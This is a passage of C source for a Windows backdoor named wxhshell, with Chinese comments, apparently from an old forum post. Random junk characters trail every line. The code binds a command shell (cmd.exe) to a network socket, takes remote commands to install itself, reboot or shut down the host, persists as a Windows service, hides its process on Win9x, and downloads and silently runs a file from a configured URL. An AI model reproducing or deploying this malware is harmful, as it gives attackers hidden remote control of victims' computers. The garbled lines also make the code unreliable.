    switch(cmd[0]) { 61U<5:#l  
  ,2oF:H  
  // 帮助 R~bC,`Bh  
  case '?': { , n !vsIN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a:~@CUD >I  
    break; _w@qr\4i=  
  } "QoQ4r<|  
  // 安装 j QU"Ved  
  case 'i': { K!D o8|  
    if(Install()) yV)m"j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K; FW  
    else <lr*ZSNY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H7i$xWs  
    break; Ba\6?K  
    } {F&-7u0  
  // 卸载 >-E<n8  
  case 'r': { ,_!6U  
    if(Uninstall()) GFSt<k)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UDf9FnG}L  
    else c= UU"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bg|!'1bD`5  
    break; sqx` ">R  
    } F#xa`*AP  
  // 显示 wxhshell 所在路径 Ou'?]{  
  case 'p': { l0*Gb  
    char svExeFile[MAX_PATH]; 3CTX -#)vS  
    strcpy(svExeFile,"\n\r"); 4eVI},  
      strcat(svExeFile,ExeFile); -#-p1^v}  
        send(wsh,svExeFile,strlen(svExeFile),0); 4 !`bZ`_Bw  
    break; \EbbkN:D  
    } #G9 ad K5  
  // 重启 57F%j3.|/  
  case 'b': { vUC!fIG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /R X1UQ.s  
    if(Boot(REBOOT)) O!D/|.Q#%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u% 2<\:~j  
    else { ]L2Oz  
    closesocket(wsh); Ql?^ B SqG  
    ExitThread(0); y0v]N  
    } Oc9#e+_&  
    break; Ct$82J  
    } -6Tk<W  
  // 关机 @|bP+8oU  
  case 'd': { g|PC$p-z+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0f ER*.F  
    if(Boot(SHUTDOWN)) F{k+7Ftc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dj-s5pAW  
    else { [%HIbw J  
    closesocket(wsh); ,]R8(bD)  
    ExitThread(0); 3E} An%  
    } 8:ggECD  
    break; us?&:L|!=  
    } ba@ax3  
  // 获取shell %IL6ix  
  case 's': { kfC0zd+  
    CmdShell(wsh); >KG E-Yzj  
    closesocket(wsh); B1N)9%  
    ExitThread(0); ^[TV;9I*  
    break; 8OWmzY_=  
  } 8F;>5i  
  // 退出 zIQzmvf  
  case 'x': { _BnTv$.P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E]^5I3=O  
    CloseIt(wsh); /I&wj^   
    break; _17|U K|N  
    } uK*Nu^  
  // 离开 BpAB5=M0  
  case 'q': { B7Ntk MK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lp&!lb`  
    closesocket(wsh); jyW[m,#(go  
    WSACleanup(); 1S%k  
    exit(1); "u}9@}*  
    break; -237Lx$/  
        } $%2_{m_K:p  
  } h~HB0^|  
  }  ~QG ?k  
f F?6j   
  // 提示信息 +R$?2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pL oy  
} "5DJu ~  
  } L3y5a?G  
^<V9'Ut   
  return; _|c&@M  
} #S QXTR  
5#:pT  
// shell模块句柄 lH BI  
int CmdShell(SOCKET sock) O]u",J5  
{ 7r{qJ7$%  
STARTUPINFO si; kL{;.WsB  
ZeroMemory(&si,sizeof(si)); 4dhqLVgL{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^kj=<+ v#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GA^mgm"O  
PROCESS_INFORMATION ProcessInfo; y<r}"TAf-  
char cmdline[]="cmd"; ?z`MPdO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2@@l{Y0f6  
  return 0; jThbeY[  
} .e[Tu|qo  
eVy2|n9rH  
// 自身启动模式 ft5DU/%  
int StartFromService(void) f|0lj   
{ )@QJ  
typedef struct "mj^+u-  
{ m$UvFP1>u1  
  DWORD ExitStatus; I/u9RmbU  
  DWORD PebBaseAddress; 2JO-0j.  
  DWORD AffinityMask; F+=urc>w  
  DWORD BasePriority; go|>o5!g  
  ULONG UniqueProcessId; cFfTYP9  
  ULONG InheritedFromUniqueProcessId; *c]KHipUIS  
}   PROCESS_BASIC_INFORMATION; c;!g  
P@ypk^v  
PROCNTQSIP NtQueryInformationProcess; tbj=~xYf  
Z}Cqd?_')  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y,C!9l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >Gd.&flSj  
u]vPy ria  
  HANDLE             hProcess; k'13f,o}  
  PROCESS_BASIC_INFORMATION pbi; Y5TS>iEE]  
swr"k6;G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2bQ/0?.).-  
  if(NULL == hInst ) return 0; s"mFt{Y  
H:}}t]E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DnyYMe!r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @@pq 'iRn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \ XH@b6{  
VyZV (k  
  if (!NtQueryInformationProcess) return 0; +t\^(SJ6  
sWxK~Yg  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?z.Isvn  
  if(!hProcess) return 0; .P/xs4  
+^Jwo)R'b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Xz1c6mX|o  
8=H\?4)()Y  
  CloseHandle(hProcess); O k(47nC  
c>MY$-PD  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |^5/(16  
if(hProcess==NULL) return 0; az(5o  
i.@*t IK  
HMODULE hMod; o<\6Rm  
char procName[255]; LD.Ck6@  
unsigned long cbNeeded; Z;*`f d?8  
v5Y@O|i#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &+;uZ-x  
9+VF<;Xw  
  CloseHandle(hProcess); JLW$+62  
K`+vfqX  
if(strstr(procName,"services")) return 1; // 以服务启动 ?[SVqj2-  
x70N8TQ_gK  
  return 0; // 注册表启动 -uR{X G. D  
} mTd<2Hy  
 # eEvF  
// 主模块 g~R/3cm4  
int StartWxhshell(LPSTR lpCmdLine) Sr7@buF  
{ m!!;/e?yx  
  SOCKET wsl; gE=Wcb!  
BOOL val=TRUE; /#\?1)jCK  
  int port=0; yV_ L/,6}D  
  struct sockaddr_in door; `1,eX)S  
b+$o4 l/x  
  if(wscfg.ws_autoins) Install();  Ec.)!Hu  
+FBi5h  
port=atoi(lpCmdLine); M)=|<h"F  
# ITLz!g E  
if(port<=0) port=wscfg.ws_port; s>J3\PC  
;GQm[W([  
  WSADATA data; fk\5D[j^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6aSM*S)  
_h~p:=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q!) z)-hI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bw;iz ,Z  
  door.sin_family = AF_INET; 1}DerX6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :|($,3*  
  door.sin_port = htons(port); It\BbG=  
/'`6 ; uRN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7jR7  
closesocket(wsl); rG5i-'  
return 1; Ys+N,:#R  
} ;qG1r@o  
E 8^sy*f  
  if(listen(wsl,2) == INVALID_SOCKET) { 6=BZ~ed  
closesocket(wsl); P=pY8X:  
return 1; 'Z$jBL  
} Zih5/I  
  Wxhshell(wsl); B%(K0`G#X  
  WSACleanup(); Fj3^ #ly  
|$w0+bV*  
return 0; 0$?qoS  
B{4"$Mi  
} xOgq-@`  
(WkTQRcN,  
// 以NT服务方式启动 a[JZ5D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) AG=9b  
{ z=%IcSx;  
DWORD   status = 0; &08 Tns"  
  DWORD   specificError = 0xfffffff; !xJFr6G~8  
!r2}59 J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =_pmy>_z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .Wh6(LDY(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q%$i@JH`m  
  serviceStatus.dwWin32ExitCode     = 0; M3PVixli3  
  serviceStatus.dwServiceSpecificExitCode = 0; k$?&]! <o  
  serviceStatus.dwCheckPoint       = 0; K.r!?cfv  
  serviceStatus.dwWaitHint       = 0; mR6E]TuM  
sFD!7 ;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s|KfC>#  
  if (hServiceStatusHandle==0) return; D~7%};D[  
y#nSk% "t"  
status = GetLastError(); y!BB7cK6  
  if (status!=NO_ERROR) n<+~ zQ  
{ iF+S%aPd#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M Yu?&}%^  
    serviceStatus.dwCheckPoint       = 0; WY3_7k8u  
    serviceStatus.dwWaitHint       = 0; %!D_q ~"H  
    serviceStatus.dwWin32ExitCode     = status; &F9OZMK=  
    serviceStatus.dwServiceSpecificExitCode = specificError; {\F2*P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); DZF[dxH  
    return; (c 1u{  
  } mn Qal>0~  
vB]3Xb3a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vr<)Ay  
  serviceStatus.dwCheckPoint       = 0; W3aXW,P.V  
  serviceStatus.dwWaitHint       = 0; f};!m=b  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #<D@3ScC  
} US"2O!u  
rg"TJ"Q-  
// 处理NT服务事件,比如:启动、停止 J~fuW?a]r  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S54gqc1S]  
{ n JW_a&'  
switch(fdwControl) -.^=Z!=M  
{ `g2&{)3k  
case SERVICE_CONTROL_STOP: 6{lG1\o  
  serviceStatus.dwWin32ExitCode = 0; '=-s1c@^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b^+Fs  
  serviceStatus.dwCheckPoint   = 0; ,q/tyGj  
  serviceStatus.dwWaitHint     = 0; G)4 ZK#wz  
  { ipgN<|`?@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B?!9W@  
  } .$n$%|"H-  
  return; K%kXS  
case SERVICE_CONTROL_PAUSE: aViJ   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4|I7:~  
  break; ;sm"\.jF  
case SERVICE_CONTROL_CONTINUE: !XkymIX~O.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k{zs578h2  
  break; 7=; D0SS  
case SERVICE_CONTROL_INTERROGATE: 0@JilGk1u  
  break; q+r ` e  
}; (ej:_w1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M ,Zm|3L  
} |;X?">7NW  
N:"M&E UM  
// 标准应用程序主函数 7AS.)Q#=x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Smi%dp.  
{ H^]Nmd8Q)  
Q@ykQ  
// 获取操作系统版本 L?AM&w-cg9  
OsIsNt=GetOsVer(); -ryDsq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ty g$`\#   
^uKnP>*l  
  // 从命令行安装 Fc34Y0_A  
  if(strpbrk(lpCmdLine,"iI")) Install(); ppPG+[cz  
^=aml   
  // 下载执行文件 Tz+HIUIxF  
if(wscfg.ws_downexe) { uEc0/ a :.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cfrvy^>,  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~| 4U@  
} |G|*  
=$&7IQ?  
if(!OsIsNt) { \7OJN ~&<  
// 如果时win9x,隐藏进程并且设置为注册表启动 )< &B&Hp  
HideProc(); GhSL%y  
StartWxhshell(lpCmdLine); 7yc9`j}]  
} V)_H E  
else [8B tIv  
  if(StartFromService()) pCB 5wB  
  // 以服务方式启动 :w?:WH?2L  
  StartServiceCtrlDispatcher(DispatchTable); 5bu[}mJ  
else .5jnKU8NF  
  // 普通方式启动 >X-ed  
  StartWxhshell(lpCmdLine); s BeP;ox  
`@VM<av  
return 0; )x_W&*oZ  
}
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只看该作者 1 发表于: 2006-10-10
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